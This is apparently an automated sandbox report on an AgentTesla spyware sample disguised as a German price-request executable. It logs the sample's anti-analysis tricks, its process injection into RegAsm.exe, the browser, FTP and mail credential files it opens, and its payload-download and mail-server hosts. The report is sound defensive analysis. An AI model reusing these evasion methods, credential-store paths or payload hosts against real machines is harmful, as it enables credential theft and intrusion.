Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion:

Tries to detect Any.run

Show sources

Source: C:\Users\user\Desktop\BESTPREIS-ANFRAGE.exe	File opened: C:\Program Files\Qemu-ga\qemu-ga.exe	Jump to behavior
Source: C:\Users\user\Desktop\BESTPREIS-ANFRAGE.exe	File opened: C:\Program Files\qga\qga.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Program Files\Qemu-ga\qemu-ga.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Program Files\qga\qga.exe	Jump to behavior

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Show sources

Source: BESTPREIS-ANFRAGE.exe, 00000000.00000002.1110197252.00000000022A0000.00000004.00000001.sdmp, RegAsm.exe, 00000014.00000002.5614989503.0000000001330000.00000004.00000001.sdmp	Binary or memory string: C:\PROGRAM FILES\QEMU-GA\QEMU-GA.EXE
Source: RegAsm.exe, 00000014.00000002.5614989503.0000000001330000.00000004.00000001.sdmp	Binary or memory string: NTDLLKERNEL32USER32C:\PROGRAM FILES\QEMU-GA\QEMU-GA.EXEC:\PROGRAM FILES\QGA\QGA.EXEPSAPI.DLLMSI.DLLPUBLISHERSHELL32ADVAPI32USERPROFILE=HTTPS://DRIVE.GOOGLE.COM/UC?EXPORT=DOWNLOAD&ID=1RXTKFFIHYAQ7ZST7ZR_GUKVRXKFFOIE-WININET.DLLMOZILLA/5.0 (WINDOWS NT 6.1; WOW64; TRIDENT/7.0; RV:11.0) LIKE GECKO
Source: BESTPREIS-ANFRAGE.exe, 00000000.00000002.1110197252.00000000022A0000.00000004.00000001.sdmp	Binary or memory string: NTDLLKERNEL32USER32C:\PROGRAM FILES\QEMU-GA\QEMU-GA.EXEC:\PROGRAM FILES\QGA\QGA.EXEPSAPI.DLLMSI.DLLPUBLISHERSHELL32ADVAPI32USERPROFILE=WINDIR=\MICROSOFT.NET\FRAMEWORK\V4.0.30319\REGASM.EXE\SYSWOW64\MSVBVM60.DLL

Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)

Show sources

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_NetworkAdapterConfiguration

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Show sources

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 1736

Thread sleep time: -2767011611056431s >= -30000s

Jump to behavior

Source: C:\Windows\System32\conhost.exe

Last function: Thread delayed

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Thread delayed: delay time: 922337203685477

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Window / User API: threadDelayed 9956

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 20_2_0104C6A1 sgdt fword ptr [eax]

20_2_0104C6A1

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Thread delayed: delay time: 922337203685477

Jump to behavior

Source: C:\Users\user\Desktop\BESTPREIS-ANFRAGE.exe

System information queried: ModuleInformation

Jump to behavior

Source: BESTPREIS-ANFRAGE.exe, 00000000.00000002.1110197252.00000000022A0000.00000004.00000001.sdmp	Binary or memory string: ntdllkernel32user32C:\Program Files\Qemu-ga\qemu-ga.exeC:\Program Files\qga\qga.exepsapi.dllMsi.dllPublishershell32advapi32USERPROFILE=windir=\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe\syswow64\msvbvm60.dll
Source: RegAsm.exe, 00000014.00000002.5614989503.0000000001330000.00000004.00000001.sdmp	Binary or memory string: ntdllkernel32user32C:\Program Files\Qemu-ga\qemu-ga.exeC:\Program Files\qga\qga.exepsapi.dllMsi.dllPublishershell32advapi32USERPROFILE=https://drive.google.com/uc?export=download&id=1rXtKfFihYAq7ZSt7zR_gukVRXKFfOie-wininet.dllMozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
Source: RegAsm.exe, 00000014.00000002.5615568574.00000000013A8000.00000004.00000020.sdmp	Binary or memory string: Hyper-V RAW
Source: BESTPREIS-ANFRAGE.exe, 00000000.00000002.1110197252.00000000022A0000.00000004.00000001.sdmp, RegAsm.exe, 00000014.00000002.5614989503.0000000001330000.00000004.00000001.sdmp	Binary or memory string: C:\Program Files\Qemu-ga\qemu-ga.exe

Anti Debugging:

Hides threads from debuggers

Show sources

Source: C:\Users\user\Desktop\BESTPREIS-ANFRAGE.exe	Thread information set: HideFromDebugger			Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread information set: HideFromDebugger			Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Process token adjusted: Debug

Jump to behavior

Source: C:\Users\user\Desktop\BESTPREIS-ANFRAGE.exe	Process queried: DebugPort			Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process queried: DebugPort			Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 20_2_01000448 LdrInitializeThunk,

20_2_01000448

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion:

Writes to foreign memory regions

Show sources

Source: C:\Users\user\Desktop\BESTPREIS-ANFRAGE.exe

Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 1100000

Jump to behavior

Source: C:\Users\user\Desktop\BESTPREIS-ANFRAGE.exe

Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe 'C:\Users\user\Desktop\BESTPREIS-ANFRAGE.exe'

Jump to behavior

Source: RegAsm.exe, 00000014.00000002.5625762886.0000000001970000.00000002.00020000.sdmp	Binary or memory string: Program Manager
Source: RegAsm.exe, 00000014.00000002.5625762886.0000000001970000.00000002.00020000.sdmp	Binary or memory string: Shell_TrayWnd
Source: RegAsm.exe, 00000014.00000002.5625762886.0000000001970000.00000002.00020000.sdmp	Binary or memory string: Progman
Source: RegAsm.exe, 00000014.00000002.5625762886.0000000001970000.00000002.00020000.sdmp	Binary or memory string: Progmanlock

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\CustomMarshalers\v4.0_4.0.0.0__b03f5f7f11d50a3a\CustomMarshalers.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\CustomMarshalers\v4.0_4.0.0.0__b03f5f7f11d50a3a\CustomMarshalers.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\CustomMarshalers\v4.0_4.0.0.0__b03f5f7f11d50a3a\CustomMarshalers.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information:

Yara detected AgentTesla

Show sources

Source: Yara match	File source: 00000014.00000002.5637853985.000000001E131000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 9036, type: MEMORYSTR

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Show sources

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\Martin Prikryl\WinSCP 2\Sessions

Jump to behavior

Tries to harvest and steal ftp login credentials

Show sources

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml			Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites\Quick Connect\			Jump to behavior

Tries to steal Mail credentials (via file access)

Show sources

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Key opened: HKEY_CURRENT_USER\Software\IncrediMail\Identities	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Show sources

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.ini			Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data			Jump to behavior

Source: Yara match	File source: 00000014.00000002.5637853985.000000001E131000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 9036, type: MEMORYSTR

Remote Access Functionality:

Yara detected AgentTesla

Show sources

Source: Yara match	File source: 00000014.00000002.5637853985.000000001E131000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 9036, type: MEMORYSTR

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	Windows Management Instrumentation211	DLL Side-Loading1	Process Injection112	Disable or Modify Tools1	OS Credential Dumping2	Security Software Discovery421	Remote Services	Email Collection1	Exfiltration Over Other Network Medium	Encrypted Channel11	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	DLL Side-Loading1	Virtualization/Sandbox Evasion351	Credentials in Registry1	Process Discovery2	Remote Desktop Protocol	Archive Collected Data1	Exfiltration Over Bluetooth	Non-Standard Port1	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	At (Linux)	Logon Script (Windows)	Logon Script (Windows)	Process Injection112	Security Account Manager	Virtualization/Sandbox Evasion351	SMB/Windows Admin Shares	Data from Local System2	Automated Exfiltration	Ingress Tool Transfer1	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Logon Script (Mac)	Obfuscated Files or Information1	NTDS	Application Window Discovery1	Distributed Component Object Model	Input Capture	Scheduled Transfer	Non-Application Layer Protocol2	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	DLL Side-Loading1	LSA Secrets	File and Directory Discovery1	SSH	Keylogging	Data Transfer Size Limits	Application Layer Protocol23	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	Steganography	Cached Domain Credentials	System Information Discovery115	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
BESTPREIS-ANFRAGE.exe	37%	Virustotal		Browse
BESTPREIS-ANFRAGE.exe	29%	ReversingLabs	Win32.Trojan.Tnega

Dropped Files

No Antivirus matches

Unpacked PE Files

No Antivirus matches

Domains

No Antivirus matches

URLs

Source	Detection	Scanner	Label
http://127.0.0.1:HTTP/1.1	0%	Avira URL Cloud	safe
http://gnOVon.com	0%	Avira URL Cloud	safe
http://DynDns.comDynDNS	0%	Avira URL Cloud	safe
https://sectigo.com/CPS0	0%	Avira URL Cloud	safe
http://mail.reyesyasociados.com	0%	Avira URL Cloud	safe
https://rKiZMXFEA0H5.org	0%	Avira URL Cloud	safe
https://www.theonionrouter.com/dist.torproject.org/torbrowser/9.5.3/tor-win32-0.4.3.6.zip%tordir%%ha	0%	Avira URL Cloud	safe
https://doc-00-04-docs.googleusercon	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
drive.google.com	142.250.186.142	true	false	high
googlehosted.l.googleusercontent.com	142.250.184.193	true	false	high
mail.reyesyasociados.com	109.169.39.245	true	true	unknown
doc-00-04-docs.googleusercontent.com	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://doc-00-04-docs.googleusercontent.com/docs/securesc/ha0ro937gcuc7l7deffksulhg5h7mbp1/mp23n2nm4qcasn0vhrka4v4fvnfn0u94/1632513150000/07102252199039532779/*/1rXtKfFihYAq7ZSt7zR_gukVRXKFfOie-?e=download	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://127.0.0.1:HTTP/1.1	RegAsm.exe, 00000014.00000002.5637853985.000000001E131000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	low
http://gnOVon.com	RegAsm.exe, 00000014.00000002.5637853985.000000001E131000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://DynDns.comDynDNS	RegAsm.exe, 00000014.00000002.5637853985.000000001E131000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://sectigo.com/CPS0	RegAsm.exe, 00000014.00000002.5640770224.000000001E24B000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://mail.reyesyasociados.com	RegAsm.exe, 00000014.00000002.5640770224.000000001E24B000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://doc-00-04-docs.googleusercontent.com/	RegAsm.exe, 00000014.00000003.1082677975.000000000142B000.00000004.00000001.sdmp	false		high
https://rKiZMXFEA0H5.org	RegAsm.exe, 00000014.00000002.5640457497.000000001E231000.00000004.00000001.sdmp, RegAsm.exe, 00000014.00000002.5640770224.000000001E24B000.00000004.00000001.sdmp, RegAsm.exe, 00000014.00000003.1996647693.000000001CE81000.00000004.00000001.sdmp, RegAsm.exe, 00000014.00000002.5641167195.000000001E276000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://www.theonionrouter.com/dist.torproject.org/torbrowser/9.5.3/tor-win32-0.4.3.6.zip%tordir%%ha	RegAsm.exe, 00000014.00000002.5637853985.000000001E131000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://drive.google.com/	RegAsm.exe, 00000014.00000002.5615568574.00000000013A8000.00000004.00000020.sdmp	false		high
https://doc-00-04-docs.googleusercon	RegAsm.exe, 00000014.00000003.1086601627.0000000001426000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://doc-00-04-docs.googleusercontent.com/docs/securesc/ha0ro937gcuc7l7deffksulhg5h7mbp1/mp23n2nm	RegAsm.exe, 00000014.00000003.1082677975.000000000142B000.00000004.00000001.sdmp	false		high
https://support.google.com/chrome/?p=plugin_flash	RegAsm.exe, 00000014.00000002.5639800683.000000001E1EB000.00000004.00000001.sdmp	false		high

Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public

IP	Domain	Country	ASN	ASN Name	Malicious
109.169.39.245	mail.reyesyasociados.com	United Kingdom	20860	IOMART-ASGB	true
142.250.184.193	googlehosted.l.googleusercontent.com	United States	15169	GOOGLEUS	false
142.250.186.142	drive.google.com	United States	15169	GOOGLEUS	false

General Information

Joe Sandbox Version:	33.0.0 White Diamond
Analysis ID:	1348
Start date:	24.09.2021
Start time:	21:50:50
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 12m 43s
Hypervisor based Inspection enabled:	false
Report type:	full
Sample file name:	BESTPREIS-ANFRAGE.exe
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit 20H2 Native physical Machine for testing VM-aware malware (Office 2019, IE 11, Chrome 93, Firefox 91, Adobe Reader DC 21, Java 8 Update 301
Run name:	Suspected Instruction Hammering
Number of analysed new started processes analysed:	37
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal100.spre.troj.spyw.evad.winEXE@4/1@3/3
EGA Information:	Failed
HDC Information:	Failed
HCA Information:	Successful, ratio: 98% Number of executed functions: 61 Number of non-executed functions: 19
Cookbook Comments:	Adjust boot time Enable AMSI Found application associated with file extension: .exe
Warnings:	Show All Exclude process from analysis (whitelisted): MusNotification.exe, dllhost.exe, RuntimeBroker.exe, BdeUISrv.exe, SIHClient.exe, backgroundTaskHost.exe, MoUsoCoreWorker.exe, MusNotificationUx.exe, UsoClient.exe, HxTsr.exe, WMIADAP.exe, SgrmBroker.exe, svchost.exe Excluded IPs from analysis (whitelisted): 20.54.122.82, 51.105.236.244, 40.117.96.136, 13.107.5.88, 20.82.209.183, 40.112.88.60, 20.199.120.151, 20.82.217.86, 52.152.110.14, 52.109.8.19, 40.125.122.151, 52.242.97.97, 20.50.102.62, 20.54.89.106, 209.197.3.8, 20.54.24.79, 104.89.85.192, 20.73.194.208, 20.199.120.85, 51.124.78.146 Excluded domains from analysis (whitelisted): geover.prod.do.dsp.mp.microsoft.com, geo.prod.do.dsp.trafficmanager.net, slscr.update.microsoft.com, e10370.g.akamaiedge.net, e-0009.e-msedge.net, arc.msn.com, fe3.delivery.dsp.mp.microsoft.com.nsatc.net, cs-geo-dds.trafficmanager.net, wns.notify.trafficmanager.net, array611.prod.do.dsp.mp.microsoft.com, arc.trafficmanager.net, continuum.dds.microsoft.com, geover.prod.do.dsp.mp.microsoft.com.edgekey.net, slscr.update.microsoft.com.akadns.net, evoke-windowsservices-tas-msedge-net.e-0009.e-msedge.net, iris-de-prod-azsc-neu.northeurope.cloudapp.azure.com, client.wns.windows.com, geo.prod.do.dsp.mp.microsoft.com, sls.update.microsoft.com.akadns.net, ris-prod.trafficmanager.net, wu-shim.trafficmanager.net, asf-ris-prod-neu.northeurope.cloudapp.azure.com, ctldl.windowsupdate.com, settings-win.data.microsoft.com, cds.d2s7q6s2.hwcdn.net, wdcp.microsoft.com, iris-de-prod-azsc-uks.uksouth.cloudapp.azure.com, wd-prod-cp.trafficmanager.net, prod.nexusrules.live.com.akadns.net, fe3cr.delivery.mp.microsoft.com, settingsfd-geo.trafficmanager.net, wd-prod-cp-eu-north-1-fe.northeurope.cloudapp.azure.com, ris.api.iris.microsoft.com, sls.emea.update.microsoft.com.akadns.net, wdcpalt.microsoft.com, fe3.delivery.mp.microsoft.com, apimgmttmr17ij3jt5dneg64srod9jevcuajxaoube4brtu9cq.trafficmanager.net, evoke-windowsservices-tas.msedge.net, wd-prod-cp-eu-west-1-fe.westeurope.cloudapp.azure.com, apimgmthszbjimgeglorvthkncixvpso9vnynvh3ehmsdll33a.cloudapp.net, nexusrules.officeapps.live.com, manage.devcenter.microsoft.com Not all processes where analyzed, report is missing behavior information Report size getting too big, too many NtAllocateVirtualMemory calls found. Report size getting too big, too many NtOpenKeyEx calls found. Report size getting too big, too many NtProtectVirtualMemory calls found. Report size getting too big, too many NtQueryValueKey calls found. Report size getting too big, too many NtReadVirtualMemory calls found.

Simulations

Behavior and APIs

Time	Type	Description
21:53:50	API Interceptor	2582x Sleep call for process: RegAsm.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
109.169.39.245	BESTE PRIJS AANVRAAG.exe	Get hash	malicious	Browse
109.169.39.245	Zapytanie ofertowe (Zamel sp. z o.o.).exe	Get hash	malicious	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
mail.reyesyasociados.com	BESTE PRIJS AANVRAAG.exe	Get hash	malicious	Browse	109.169.39.245
mail.reyesyasociados.com	Zapytanie ofertowe (Zamel sp. z o.o.).exe	Get hash	malicious	Browse	109.169.39.245

ASN

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
IOMART-ASGB	shinto.x86	Get hash	malicious	Browse	217.194.212.165
	BESTE PRIJS AANVRAAG.exe	Get hash	malicious	Browse	109.169.39.245
	Zapytanie ofertowe (Zamel sp. z o.o.).exe	Get hash	malicious	Browse	109.169.39.245
	QkAgFhbO4a.exe	Get hash	malicious	Browse	109.169.33.163
	ac1khvFT2V.exe	Get hash	malicious	Browse	78.129.165.118
	Colis_____FR6627222019J01.vbs	Get hash	malicious	Browse	5.77.41.150
	DriverPack-17-Online_749652650.1631058953__eqiqpdyx4midqk9.exe	Get hash	malicious	Browse	87.117.239.150
	IcdLXZ5hGE	Get hash	malicious	Browse	176.56.205.122
	xOMeOjIk7V.exe	Get hash	malicious	Browse	78.129.249.105
	KW3VrbX3Av.exe	Get hash	malicious	Browse	217.194.215.58
	EcyvrSp565.exe	Get hash	malicious	Browse	217.194.215.58
	vigmCKdmz9	Get hash	malicious	Browse	31.216.57.33
	T9V927Bbvx.exe	Get hash	malicious	Browse	78.129.249.105
	fmPwEX2Lc1.exe	Get hash	malicious	Browse	78.129.249.105
	2uHa4FhlY1.exe	Get hash	malicious	Browse	78.129.249.105
	1isequal9.x86	Get hash	malicious	Browse	109.169.21.223
	UWhmvW4mSE	Get hash	malicious	Browse	188.227.187.52
	WeTransfer.HTML	Get hash	malicious	Browse	78.129.237.3
	DriverPack-17-Online_174007544.1629221836__itapkqvv6k3n1w8.exe	Get hash	malicious	Browse	95.154.237.19
	TFb80WLdbo.exe	Get hash	malicious	Browse	185.17.150.69

JA3 Fingerprints

